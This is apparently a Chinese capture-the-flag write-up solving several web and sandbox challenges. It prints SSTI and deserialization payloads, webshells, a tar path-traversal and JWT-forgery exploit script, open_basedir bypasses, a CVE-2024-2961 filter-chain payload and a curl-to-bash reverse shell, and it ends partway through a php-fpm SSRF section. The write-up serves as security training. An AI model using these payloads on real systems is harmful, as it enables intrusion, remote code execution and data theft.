easy_flask

无过滤,秒了

1
{{lipsum.__globals__.os.popen("cat flag").read()}}

file_copy

输入/flag返回值如下:
alt text

有内容。然后想了一下后端的逻辑,猜测这里是调用的copy()函数,然后随便输入,得到如下报错结果:
alt text

copy()函数是一个文件操作函数,可以知道这里可以打oracle侧信道,直接跑脚本即可:

1
python3 filters_chain_oracle_exploit.py --target http://eci-2ze470339l9n5s7flrul.cloudeci1.ichunqiu.com/ --parameter path --file /flag --time_based_attack True --match "Allowed memory size"

alt text

Gotar

给了go的源码,其实无非就俩点,一个是tar的文件上传路径穿越,一个是jwt的伪造越权。

读一下jwt处理的源码,不难发现只要拿到了环境变量的jwtKey就能为所欲为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
type Claims struct {
UserID uint
IsAdmin bool
jwt.StandardClaims
}

func GenerateJWT(userID uint, isAdmin bool, jwtKey []byte) (string, error) {
expirationTime := time.Now().Add(24 * time.Hour)
claims := &Claims{
UserID: userID,
IsAdmin: isAdmin,
StandardClaims: jwt.StandardClaims{
ExpiresAt: expirationTime.Unix(),
},
}

token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString(jwtKey)
}
1
2
3
4
5
6
7
8
9
10
var JWTKey []byte

func LoadEnv() {
Env, err := godotenv.Read()
if err != nil {
log.Fatalf("Error loading .env file")
}
JWTKey = []byte(Env["JWT_SECRET"])
log.Print(JWTKey)
}

但是显然这里是不能R的。很自然我们就会想到能不能env的jwtKey给覆盖掉成为我们自己的可控key,然后自己造一个admin的cookie不就完事了。

那么怎么覆盖呢?可以发现tar-utils依赖的outputPath函数存在目录遍历漏洞:

alt text

首先,函数将tarPath按照斜杠(/)分割成多个元素,然后移除第一个元素(通常是根目录)接着将这些元素重新组合成一个路径字符串,最后将这个路径基于Extractor的Path属性进行重定位。

alt text
alt text

可以发现extractDir、extractSymlink、extractFile都调用了这个outputPath函数。

不难发现源码中controllers/file.go使用了extractTar调用了该依赖库实现解压tar包,因此存在目录遍历漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func extractTar(tarPath string, userID uint) (string, error) {
userDir := filepath.Join(extractedDir, fmt.Sprintf("%d", userID))
err := os.MkdirAll(userDir, os.ModePerm)
if err != nil {
return "", err
}
tarFile, err := os.Open(tarPath)
if err != nil {
return "", err
}
defer tarFile.Close()
extractor := &tar.Extractor{
Path: userDir,
}
err = extractor.Extract(tarFile)
if err != nil {
return "", err
}
return userDir, nil
}

官方wp说题目巧合的在LoginHandler处加载了环境遍历(默认读取.env),因此可以实现覆盖.env文件修改jwt密钥

alt text

所以只需在一个文件夹里创建.env文件,里面写

1
JWT_SECRET=xxx

然后创建一个tar,这个tar设定路径为../../../../.env就可以路径穿越。
写成命令行形式就是:

1
2
3
mkdir exp
echo "JWT_SECRET=hack" > exp/.env
tar --create --file=hack.tar --transform 's,exp/,exp/../,' exp/.env

这也是UNIX的tar本身的漏洞之一,而且python的tar方法也用的这种方式,所以可以写成这种代码形式:

1
2
3
4
5
6
7
8
# Create the directory and .env file
os.makedirs('exp', exist_ok=True)
with open('exp/.env', 'w') as f:
f.write("JWT_SECRET=hack")

# Create the tar file with the path traversal
with tarfile.open('hack.tar', 'w') as tar:
tar.add('exp/.env', arcname='exp/../../../.env')

接下来就是普通的注册登录上传造cookie再CSRF的过程,官方用了个一把梭脚本:

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import jwt
import datetime
import os
import tarfile
import sys
import requests
import random
import string

def generate_random_string(length):
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))

def send_request(session, method, path, data=None, files=None, headers=None):
url = f"http://{session.url}{path}"
response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http': 'http://127.0.0.1:8083'})
return response


def generate_jwt(user_id, is_admin, jwt_key):
expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
claims = {
'UserID': user_id,
'IsAdmin': is_admin,
'exp': expiration_time
}
token = jwt.encode(claims, jwt_key, algorithm='HS256')
return token

def create_malicious_tar():
# Create the directory and .env file
os.makedirs('exp', exist_ok=True)
with open('exp/.env', 'w') as f:
f.write("JWT_SECRET=hack")

# Create the tar file with the path traversal
with tarfile.open('hack.tar', 'w') as tar:
tar.add('exp/.env', arcname='exp/../../../.env')

def exp(url, token):
payload = "echo `cat /flag` > /var/www/html/public/flag.txt"

session = requests.Session()
session.url = url

random_string = generate_random_string(4)

user_data = {
"username": random_string,
"password": random_string
}
response1 = send_request(session, 'POST', '/register', data=user_data)
if response1.status_code != 200:
return "Failed to register"
response2 = send_request(session, 'POST', '/login', data=user_data)
if response2.status_code != 200:
return "Failed to login"

with open('hack.tar', 'rb') as f:
files = {'file': f}
response3 = send_request(session, 'POST', '/upload', files=files)
if response3.status_code != 200:
return "Failed to upload malicious tar file"
print("Malicious tar file uploaded successfully")

# 触发加载环境变量
send_request(session, 'GET', '/login')
headers = {
'Cookie': f'token={token}'
}
response4 = send_request(session, 'GET', '/download/1', headers=headers)
return response4.text

if __name__ == "__main__":
create_malicious_tar()
print("Malicious tar file created: hack.tar")

jwt_key = "hack"
user_id = 1
is_admin = True

token = generate_jwt(user_id, is_admin, jwt_key)
print("Generated JWT:", token)

URL = sys.argv[1]
flag = exp(URL, token)
print(flag)

python exp.py 127.0.0.1:80

非预期

可以直接通过软链接读flag

1
2
ln -sf /flag flag
tar cf flag.tar flag

尝试软链接到 .env,但是解压就报错Failed to extract file: symlink /app/.env assets/extracted/2: file exists了

alt text
发现./assets/extracted是解压目录
alt text
这里又会把userID也就是2加入到userDir中

最后看到官方题解里有说outputPath函数将tarPath按照斜杠(/)分割成多个元素,然后移除第一个元素(通常是根目录)接着将这些元素重新组合成一个路径字符串,最后将这个路径基于Extractor的Path属性进行重定位。感觉可能是因为这个,所以flag软链接前面必须套一层目录?

1
2
ln -sf /flag 3/flag
tar cf flag.tar 3/flag

有一个小坑点注意一下。tar从一定版本后会开始自动优化参数中的../,因此,如果你的payload为ln -sf ../../env 2/flag 最好在前面加一个-P

将上述文件提交,访问/assets/extracted/2/flag即可

easy_ser

一道php反序列化的题,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
听说pop挺好玩的
<?php
//error_reporting(0);
function PassWAF1($data){
$BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec", "pcntl_exec", "passthru", "popen", "putenv");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}

function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}

function PassWAF3($data){
$BlackList = array("\.\.", "\/");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}

function Base64Decode($s){
$decodeStr = base64_decode($s);
if (is_bool($decodeStr)) {
echo "gg";
exit(-1);
}
return $decodeStr;
}

class STU{

public $stu;
public function __construct($stu){
$this->stu = $stu;
}

public function __invoke(){
echo $this->stu;
}
}


class SDU{
public $Dazhuan;

public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}


class CTF{
public $hackman;
public $filename;

public function __toString(){

$data = Base64Decode($this->hackman);
$filename = $this->filename;

if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}

file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}

public function __destruct(){
echo "bye";
}
}

$give = $_POST['data'];
if (isset($_POST['data'])) {
unserialize($give);
} else {
echo "<center>听说pop挺好玩的</center>";
highlight_file(__FILE__);
}

其中几个点:

1
file_put_contents($filename, PassWAF2($data));

可以知道是写文件,这里就可以写马。
写马的话就需要注意定义的函数以及调用,比较需要关注的就如下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}

这里会将我输入的内容编写成一个类似16进制格式的那种内容,然后才会写入文件,如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}

$a="\<\?php \$_GET[0](\$_POST[1])\?\>";
$filename = "123456.php";
file_put_contents($filename, PassWAF2($a));

运行后123456.php文件内容为:

1
2
00000000: 5c3c 5c3f 7068 7020 245f 4745 545b 305d  \<\?php $_GET[0]
00000010: 2824 5f50 4f53 545b 315d 295c 3f5c 3e ($_POST[1])\?\>

可以看到是将代码分割开了,很容易想到,缩短payload长度,让其在第一行就会被全部解析,想到了一句话木马最短版:

1
<?=`$_GET[0]`;?>

经测试,可以成功

所以现在直接写链子即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
听说pop挺好玩的
<?php
class STU{
public $stu;
public function __invoke(){
echo $this->stu;
}
}

class SDU{
public $Dazhuan;
public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}


class CTF{
public $hackman;
public $filename;
public function __toString(){

$data = Base64Decode($this->hackman);
$filename = $this->filename;

if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}

file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}

public function __destruct(){
echo "bye";
}
}

$a= new SDU();
$a->Dazhuan=new STU();
$a->Dazhuan->stu=new CTF();
$a->Dazhuan->stu->filename="shell.php";
$a->Dazhuan->stu->hackman='PD89YCRfR0VUWzBdYDs/Pg==';
echo serialize($a);
1
2
得到链子:
O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7:"hackman";s:24:"PD89YCRfR0VUWzBdYDs/Pg==";s:8:"filename";s:9:"shell.php";}}}

传入数据后访问shell.php文件,进行命令执行读flag即可

ezphp

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
#ini_set('open_basedir','/var/www/html/phar2');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

注意到file.php没有过滤/flag,可以直接读取。根本不需要phar反序列化
/file.php?file=/flag 获得flag

预期解

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
class Chunqiu
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

链子:Chunqiu::__destruct -> Show::__toString -> Test::__get -> Test::get -> Test::file_get

生成phar的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
class Chunqiu
{
public $test;
public $str;

public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;

public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;

public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

$a=new Chunqiu();
$a->str=new Show();
$a->str->str['str']=new Test();
$a->str->str['str']->params["source"]="/flag";

$phar = new Phar("phar.phar"); //.phar文件,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();<!-- ?>"); //设置stub,固定的
$phar->setMetadata($a); //将自定义的meta-data存入manifest --这里注意变通
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

源码中对上传的文件有如下处理

1
2
3
4
5
6
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);

可以知道是将文件名重写并指定了后缀,这里是将上传的文件名(比如shell.gif)和访问ip(你的外网IP)拼接然后md5加密生成的文件名。

生成的phar然后改成gif后缀上传即可。然后拿到文件名,使用phar协议触发即可。

easy_code

核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

$allowedFiles = ['read.php', 'index.php'];

$ctfer = $_GET['ctfer']?? null;

if ($ctfer === null) {
die("error 0!");
}

if (!is_numeric($ctfer)) {
die("error 1!");
}

if ($ctfer!= 667) {
die("error 2!");
}

//溢出
if (strpos(strval($ctfer), '7')!== false) {
die("error 3!");
}

$file = $_GET["file"];

if ($_COOKIE['pass'] == "admin") {
if (isset($file)) {
// 改进的正则表达式,检查是否不存在 base|rot13|input|data|flag|file|base64 字符串
if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {
// 先检查文件是否在允许的列表中
echo "prohibited prohibited!!!!";
} else {
echo "试试read.php";
include($file);
}
}
}
?>

要求 ctfer 的值为667,strval取字符串,strpos返回出现的位置,即 strval 后不能出现7

那么只有利用溢出才能绕过第三个判断,我们知道intval是存在溢出的,而 strval 的作用和 intval 类似

测试发现到 666.99999999999999 和 667 相等,通过第二个判断了

而 666.99999999999999 在 strval 后就是 667

打远程的时候发现这样就绕过了,接下来就是读文件

找个能用的过滤器秒了

1
2
3
4
5
6
7
8
php://filter/convert.iconv.CP9066.CSUCS4/resource=read.php
php://filter/convert.iconv.utf8.utf16/resource=read.php

php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=read.php
这个需要解码
<?php
echo iconv('UCS-4BE', 'UCS-4LE', "hp?<f$ p galZ\" =ZhxmOkt3YlFTZzITNykTZwI2YkJTN2E2NyYDNmNGN4MGYjdj\"=0X");
?>

python jail

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
from random import randint

with open("flag", "r") as f:
flag = f.read()

BOX = [randint(1, 9999) for _ in range(624)]
print("Give me your solve:")
user_input = input().strip()

try:
user_code = base64.b64decode(user_input).decode()
except Exception:
print("Invalid base64 input")
exit(1)

assert len(user_code) <= 121, "Input exceeds maximum allowed length"

exec_globals = {"__builtins__": None}
exec_locals = {}

try:
exec(user_code, exec_globals, exec_locals)
except Exception:
print("Error")
exit(1)

s = exec_locals.get("s", None)
if s == BOX:
print(flag)
else:
print("Incorrect")

exp

1
2
3
4
def b():
def a():yield g.gi_frame.f_back.f_back.f_back.f_back
g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

"""
def b():
def a():yield g.gi_frame.f_back.f_back.f_back.f_back
g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()
"""

m = "def b():\n def a():yield g.gi_frame.f_back.f_back.f_back.f_back\n g=a();g=[x for x in g][0];return g.f_globals['BOX']\ns=b()"
p = base64.b64encode(m.encode())
print(p)
print(len(m))

基于栈帧沙箱逃逸,通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表。

b0okshelf

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
require_once 'data.php';
$id = $_GET['id'];
$regexResult = preg_match('/[^A-Za-z0-9_]/', $id);
if ($regexResult === false || $regexResult === 1) {
die('Illegal character detected');
}
if (strlen($id) > 100) {
die('Is this your id?');
}
// check if file exists
if (!file_exists('books/' . $id . '.info')) {
die('Book not found');
}
$content = file_get_contents('books/' . $id . '.info');
$book = unserialize($content);
if (!($book instanceof Book) || !($book->reader instanceof Reader)) {
throw new Exception('Invalid data');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

$book->title = $_POST['title'];
$book->author = $_POST['author'];
$book->summary = $_POST['summary'];
file_put_contents('books/' . $book->id . '.info', waf(serialize($book)));
$book->reader->setContent($_POST['content']);
}

function waf($data)
{
return str_replace("'", "\\'", $data);
}

include_once 'common/header.php';
?>

这里的book使用serialize来存储的,虽然waf会替换’为\‘,这里其实就导致了php反序列化中的字符串逃逸,通过这种逃逸我们可以插入想要的payload。

这里显然我们可以逃逸掉 Reader 中的路径, 从而使其能够变成任意路径:
alt text

在 update.php 中有 file_put_contents 函数。file_put_contents 可以将数据写入文件,我们可以利用它来写入一句话木马。

字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

class Book
{
public $id;
public $title;
public $author;
public $summary;
public $reader;
}

class Reader
{
public function __construct($location)
{
$this->location = $location;
}

public function getLocation()
{
return $this->location;
}
private $location;
public function getContent()
{
return file_get_contents($this->location);
}
public function setContent($content)
{
file_put_contents($this->location, $content);
}
}

$book = new Book();
$book->id = 'kengwang_aura';
$book->title = 'test';
$book->author = 'test';
$partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"';
$partB = 'Reader';
$partC = 'location";s:14:"books/shel.php";}};';
$payload = $partA . "\x00" . $partB . "\x00" . $partC;
$length = strlen($partA) + strlen($partB) + strlen($partC) + 2;
echo "[+] Payload length: " . $length . "\n";
$book->summary = str_repeat('\'', $length) . $payload;
$book->reader = new Reader('books/' . 'abc');
function waf($data)
{
return str_replace("'", "\\'", $data);
}
echo "[+] Summary: ";
echo urlencode($book->summary);
$res = waf(serialize($book));
echo "\n[+] Serialized payload: ";
echo base64_encode($res);
echo "\n";
$newBook = unserialize($res);
echo "[+] Location: ";
echo $newBook->reader->getLocation();

可以看到这里调试出的location已经成为了books/shel.php,可以任意路径写入了。

注意这里的 private 其实我们可以不用封装到 \x00 里面的 (7.2+), 为了保险还是这么写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /add.php HTTP/2
Host: eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1749877414
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 411
Origin: https://eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80
Referer: https://eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80/add.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

title=test&author=test&summary=%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%22%3Bs%3A6%3A%22reader%22%3BO%3A6%3A%22Reader%22%3A1%3A%7Bs%3A16%3A%22%00Reader%00location%22%3Bs%3A14%3A%22books%2Fshel.php%22%3B%7D%7D%3B

我们访问 update.php 将内容content改为

1
<?php eval($_POST[0]);

alt text

alt text

写入木马后,通过蚁剑连接发现存在 disable_functions,这是 PHP 的一个配置选项,用于禁用某些函数。通过 phpinfo,我们还发现存在 open_basedir 限制,open_basedir 用于限制 PHP 只能访问指定目录。

我们可以通过 mkdir 和 chdir 函数来绕过 open_basedir 限制。mkdir 创建目录,chdir 改变当前目录,通过这些操作,我们可以访问受限制的目录。详见 https://xz.aliyun.com/t/10070#toc-12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /books/shel.php HTTP/2
Host: eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1749877414
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Origin: https://eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80
Referer: https://eci-2ze06d7fy51tric5a5ek.cloudeci1.ichunqiu.com:80/books/shel.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Priority: u=0, i
Te: trailers

0=mkdir('tmpdir');chdir('tmpdir');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$a=file_get_contents('/etc/passwd');var_dump($a);

alt text

对于 disable_functions,蚁剑的一键绕过 disabled_function 已全部无法使用,需要手动绕过。我们使用 CN-EXT (CVE-2024-2961) 来绕过限制并执行远程代码执行(RCE),最终反弹 shell。

首先用跟上面同样的方式写一个新的文件

1
<?php @mkdir('img');chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$data=file_get_contents($_POST['file']);echo "File contents: $data";

alt text

然后打cnext

先获取/proc/self/maps和/lib/x86_64-linux-gnu/libc-2.28.so

1
2
file=php://filter/read=convert.base64-encode/resource=/proc/self/maps
file=php://filter/read=convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.28.so

本地生成payload,这里使用curl反弹shell

首先在vps写一个bash.html

1
bash -i >& /dev/tcp/ip/port 0>&1

反弹shell命令如下

1
curl ip/bash.html|bash

生成payload

1
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXMO%2bJmQhbwrX3IpZMpsq3ixYmvY29vrNpg3essu%2bqGNXnp2w/aazrVgllYD/RdJ/9Uf0ik2lLK49sWSPKgBc0aOqcFgzfGbu0L3Lv0bjsmdEq3Cz4dSQInS46EpoXvjI5LH/j9ahnYieZGPHrmHFkk0zh1Nuhr2ZcjX6zddpO100OBKzQ%2bp7avfrK6iuGq7e%2bZ7h/fG2d/Y8PHzNvv770/v/L1Pjrf1%2b%2b3f/LfXLP173x%2b873S0z8Y4PfPIYP9d8jFk9vz51iGL39hvyrfXe//57%2b9/L02tjvy7fvvWYX9/nP57r/X75/zq/893T%2b/P4n0Wz4A63%2b6b%2b3txr%2bQIjSM/uu3Zj/7vfj1/9%2bXDgefDe/dL/%2b779L5W32vek/f/3qdbu9tffen79%2b8Fa5/vmNdt/Xnthf/2Of/VPZvPv2Nec/%2b/9%2be7p0%2b%2b269e%2bPv/590Pn87dv/ZtRviunf%2bNV7pj/QxJ33n7/8qh9%2b3O1FW%2bKefo%2b6ewS8umyjTnTM0jhgfK4NTPt2PH%2b/2yZCoSNxTtnoWs%2b1qpxANUHP/4yjikcVjyqms%2bJl269IGe99Z3TvW%2bUUVS%2bV0wSybEKV91rDy6/1HufOd49c5LKJh4G6xkd5332kZVq35HjdieO9nxTr9Oz//vs5PUjpUBEBnTOuBW3f4dUr/3KjfNYUfjHBacz41R/YMm3X0dCsPx79fwMW12zo%2bCEMAA==

发包,成功接收到shell
alt text

反弹 shell 后,为了提升交互性以便使用 sudo 提权,我们通过 sudo -l 发现 date 命令可以无密码执行。
最后,通过 sudo date -f /flag 读取 flag。

LamentXu提出可以使用php-fpm被动模式RCE来反弹shell,学习一下

首先讲讲原理。在这题里file_get_contents和file_put_contents都是没有被ban的。因此,我们可以用这个来发动攻击。hmmmm,问题在于没有回显,而且需要提权RCE,所以oracle什么的就别想了,一定要弹shell。

1
2
3
<?php
$contents = file_get_contents($_GET['1']);
file_put_contents($_GET['1'], $contents);

这是一份漏洞代码,我知道你有八百种办法攻击他。别急,在万千种伪协议里,你有没有想过,或者哪怕看ftp://一眼呢

如果我们使用ftp://evil/1.txt,那么这个服务器就会从evil这个服务器上下载1.txt(file_get_contents)并且,将1.txt传回去(file_put_contents)

可不可以用这个来攻击php的中间件fpm呢?

可以先去看看https://github.com/gjzxyb/MiscSecNotes-CTF/blob/master/%E6%BC%8F%E6%B4%9E%E7%A7%91%E6%99%AE/PHP-FPM%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

alt text

当我们在file_get_contents里输入ftp协议的时候,往里面放一个fastcgi的payload,这个payload会导致fpm加载一个恶意so文件。服务器就会拿着这个payload与我们开一个ftp链接,我们当然不是要去给它传文件,甚至不需要启动一个FTP服务器,直接写一个socket脚本,不用管它的请求啊什么的(已读乱回),直接告诉他,OK你连上一个FTP服务器了,现在要你输密码(发来不知道什么鬼)OK你密码正确,你过关,然后告诉它,切换到binary mode,你未授权了,我们进被动模式聊吧,给你发个链接点一下,我们借一步说话。(发送127.0.0.1:fpm的端口,这就是在SSRF了!)随后服务器就会傻傻地把我们的payload传给fpm。于是fpm就去加载一个恶意的so,这个so可以是我们提前上传并设置好的反弹shell的so,然后,我们只需要开启监听就好啦

bingo!是不是很简单?我们来试试吧!

首先先看nginx.conf,确认fpm端口

alt text

fpm开着的,端口为9000号,index是index.php。靶机上线。

先写一个伪造的ftp服务器,已读乱回,反正我不管你怎么样我就发信息就完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
